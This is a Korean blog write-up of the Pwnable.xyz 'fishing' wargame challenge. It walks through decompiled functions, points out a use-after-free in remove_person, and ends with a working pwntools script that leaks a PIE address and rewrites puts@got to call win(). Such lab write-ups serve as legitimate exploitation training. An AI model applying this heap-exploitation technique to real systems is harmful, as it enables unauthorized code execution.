tmxklab

[Pwnable.xyz] fishing 본문

War Game/Pwnable.xyz

[Pwnable.xyz] fishing

tmxk4221 2020. 9. 9. 22:35

1. 문제

nc svc.pwnable.xyz 30045

 

1) mitigation 확인

 

2) 문제 확인

총 6개의 메뉴가 보이며 낚시하러 가는데 alert가 뜨면서 내 이름을 출력하고 입력 값을 받고 종료된다.

 

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  setup(argc, argv, envp);
  banner();
  while ( 1 )
  {
    show_menu();
    switch ( (unsigned int)read_int() )
    {
      case 1u:
        add_group_member();
        break;
      case 2u:
        modify_group_member();
        break;
      case 3u:
        write_in_book();
        break;
      case 4u:
        go_fishing();
        break;
      case 5u:
        stop_fishing();
        break;
      case 6u:
        puts("Bye. I'm keeping the deposit");
        return 0;
      default:
        err("Invalid choice");
        return result;
    }
  }
}

 

3-2) add_group_member()

int add_group_member()
{
  void **p_info; // rbx
  int age; // eax
  __int64 g_size; // rcx
  int result; // eax

  if ( group_size[0] > 5 )
    return puts("You would sink the boat with that many people");
  p_info = (void **)malloc(0x20uLL);
  *p_info = malloc(0x18uLL);
  __printf_chk(1LL, "Name: ");
  read_string(*p_info, 24);
  p_info[1] = malloc(0x18uLL);
  __printf_chk(1LL, "Job: ");
  read_string(p_info[1], 24);
  __printf_chk(1LL, "Age: ");
  age = read_int();
  g_size = group_size[0];
  *((_DWORD *)p_info + 4) = age;
  group[g_size] = p_info;
  result = g_size + 1;
  group_size[0] = g_size + 1;
  return result;
}
  • 멤버에 대한 청크를 생성하여 정보를 입력받고 group, group_size에 저장
  • p_info = malloc(0x20) → name_chunk = malloc(0x18) → job_chunk = malloc(0x18)

 

3-3) modify_group_member()

int modify_group_member()
{
  unsigned int index; // eax
  __int64 p_info; // rbx
  int age; // eax

  puts("Which person do you need to change?");
  index = read_int();
  if ( index > 5 )
    return puts("A group member can only be 0-5");
  p_info = group[index];
  if ( !p_info )
    return puts("That person doesn't exist");
  __printf_chk(1LL, "Name: ");
  read_string(*(void **)p_info, 24);
  __printf_chk(1LL, "Job: ");
  read_string(*(void **)(p_info + 8), 24);
  __printf_chk(1LL, "Age: ");
  age = read_int();
  *(_DWORD *)(p_info + 16) = age;
  return age;
}
  • 그룹에 속한 멤버의 정보를 변경

 

3-4) write_in_book()

_BYTE *write_in_book()
{
  void *say; // rax

  puts("What do you want to say?");
  say = malloc(0x20uLL);
  return read_string(say, 32);
}
  • 이러하다

 

3-5) go_fishing()

unsigned __int64 go_fishing()
{
  __int64 v1; // [rsp+0h] [rbp-18h]
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  if ( fishing )
  {
    puts("You're group is already fishing, wait until they come back");
  }
  else if ( group_size[0] <= 1 )
  {
    puts("You need 2 or more people to fish");
  }
  else
  {
    fishing = 1;
    pthread_create((pthread_t *)&v1, 0LL, gone_fishing, 0LL);
    puts("You're group has now left to catch some fish");
  }
  return __readfsqword(0x28u) ^ v2;
}
  • fishing이 존재하지 않고 group_size[0]이 1보다 크면 else문 실행
  • else문에서는 fishing을 1로 세팅하고 각각 파라미터들을 받고 pthread_create()를 통해 쓰레드를 생성한다.
  • int pthread_create(pthread_t *thread, const pthread_attr_t attr, void(*start_routine)(void *), void *arg)
    • 세 번째 파라미터인 start_routine은 분기시켜서 실행할 쓰레드 함수이다. 즉 위에서는 gone_fishing함수가 실행된다.

 

3-6) gone_fishing()

void *__fastcall gone_fishing(void *a1)
{
  unsigned int v1; // ebx

  if ( pthread_mutex_lock(&mutex) )
    err("Fatal locking");
  v1 = group_size[0] - 1;
  puts("\n!!!!ALERT!!!");
  __printf_chk(1LL, "%s has fallen over board\n");
  puts("We are trying to save them");
  remove_person(v1);
  if ( pthread_cond_wait(&cond, &mutex) )
    err("Fatal");
  puts("\nOk we are coming back. Btw they died...");
  --group_size[0];
  fishing = 0;
  if ( pthread_mutex_unlock(&mutex) )
    err("Fatal unlocking");
  return 0LL;
}
  • 처음에는 뮤텍스를 걸어놓고 마지막에 뮤텍스를 언락한다.
  • p_info청크→ name청크에 저장된 name출력(여기서는 안 보이는데 디버깅할 때 보임)
  • remove_person(group_size[0]-1)
  • 그리고 pthread_cond_wait를 통해 스레드를 재운다.(쿨쿨..)
  • 이후에 group_size[0]을 1씩 감소하고 fishing을 0으로 초기화 시킨다.

 

3-7) remove_person()

void __fastcall remove_person(int a1)
{
  void **p_info; // rbx

  p_info = (void **)group[a1];
  if ( p_info )
  {
    free(*p_info);
    free(p_info[1]);
    free(p_info);
  }
}
  • 그룹에 있는 person정보를 free한다.
    • 순서 : free(name_chunk) → free(job_chunk) → free(p_info)
  • 근데 free해주고 group 전역변수에 널 값을 채우지 않음

 

3-8) stop_fishing()

int stop_fishing()
{
  int result; // eax

  if ( !fishing )
    return puts("You're group is not fishing");
  result = pthread_cond_signal(&cond);
  if ( result )
    err("Fatal signaling");
  return result;
}
  • fishing이 1이면 즉 어떤 그룹에서 낚시질을 하고 있다면 pthread_cond_signal을 통해 자고 있는 쓰레드를 깨운다.

 

전역변수)

  • fishing : 누군가 낚시를 하면 1로 세팅된다.
  • group_size : 그룹에 속한 사람의 수
  • group : 그룹에 들어온 사람의 정보 → name, job, age
  • mutex, cond : 쓰레드 컨트롤할 때 필요한 인자

 


2. 접근방법

 

fastbin 특성과 위에서 찾은 취약점을 이용하여 문제를 풀 수 있다.

fastbin특성이 last in first out이라서 하나 할당하고 하나 free하게 되면서 fastbin의 fd값을 릭할 수 있음

이거를 통해 heap base를 알 수 있고 free된 청크에 modify도 가능하니 libc leak을 진행하고 overwrite를 진행하면 된다.

하지만, 다른 참신한 방법이 있어서 이 방법에 대해 설명하겠다.

 

말로 설명하기 힘들어서 그림으로 만들었다.

 

 

 

 

 

 

 

 

여기까지 group[2]의 name청크의 주소 대신에 group[0]에 있는 name청크 주소로 변경하는 과정

 

 

free되면서 group[0]의 .rodata주소 값을 릭할 수 있고 fastbin[1]을 잘 보면 group[2]의 name청크가 group[0]을 가리키게 되면서 g2, g0가 fastbin[1]에 들어가 있음

 

 

 

g2 재할당

 

 

g0 재할당되면서 group전역변수에 group[0]와 동일한 주소가 들어감 이제 free ㄱㄱ

 

 

group전역변수에 있는 0x10청크 free하고 0xb0청크 free하게 되면서 fastbin[1] : g2 → g3 → 0x0이되었음, 따라서 g2의 fd에는 g3의 name청크가 위치하는 주소를 가리키게 됨

 

이 다음부터는 뭘 해야할 지 대충 느낌이 올 것이다. got overwrite가 가능하니 puts@got overwrite를 진행하여 win()로 변경

 

요약하면 굳이 heap base를 구하지 않고 .rodata를 릭해서 libc 주소를 알아내고 fastbin특성과 취약점을 이용하여

fd를 다른 청크의 name 청크로 가리키도록 만들면 된다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30045)
e = ELF("./challenge")
#gdb.attach(p)

james_offset = 0x156a
puts_got = e.got['puts']
win_offset = e.symbols['win']

def add(name, job, age):
    p.sendlineafter("> ", str(1))
    p.sendafter("Name: ", name)
    p.sendafter("Job: ", job)
    p.sendlineafter("Age: ", str(age))


def modify(idx, name, job, age):
    p.sendlineafter("> ", str(2))
    p.sendlineafter("change?\n", str(idx))
    p.sendafter("Name: ", name)
    p.sendafter("Job: ", job)
    p.sendlineafter("Age: ", str(age))


def write(say):
    p.sendlineafter("> ", str(3))
    p.sendafter("say?\n", say)


def free():
    p.sendlineafter("> ", str(4))
    p.sendlineafter("> ", str(5))


# 1. create fake chunk 
add('A', p64(0) + p64(0x21), 1)
add('B', 'B', 1)
# fastbin[0] : g1.job -> g1.name -> g2.job -> g2.name
# fastbin[1] : g1 -> g2
free()
free()

# 2. modify g2.name -> g0 
modify(1, '\x00', '\x80', 1)
add('\x90', p64(0), 1)
add(p64(0) + p64(0x31) + '\x10', 'C', 1)

# 3. leak g0.name -> .rodata
free()
p.recvuntil("ALERT!!!\n")
leak_pie = u64(p.recv(6).ljust(8, '\x00')) - james_offset
puts_addr = leak_pie + puts_got
win_addr = leak_pie + win_offset

log.info("leak_pie  : " + hex(leak_pie))
log.info("puts_addr : " + hex(puts_addr))
log.info("win_addr  : " + hex(win_addr))


# 4. fastbin[1] : g2 -> g3 -> 0x0
add("A", "A", 1)	# g2
add("A", "A", 1)	# g3
free()			# free(g3)
free()			# free(g2)

# 5. puts@got overwrite
modify(2, p64(0) + p64(0x31) + p64(puts_addr), "1", 1)
modify(0, p64(win_addr), "1", 1)

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] AdultVM  (0) 2020.09.09
[Pwnable.xyz] note v4  (0) 2020.09.09
[Pwnable.xyz] knum  (0) 2020.09.09
[Pwnable.xyz] PvE  (0) 2020.09.09
[Pwnable.xyz] note v3  (0) 2020.09.09
Comments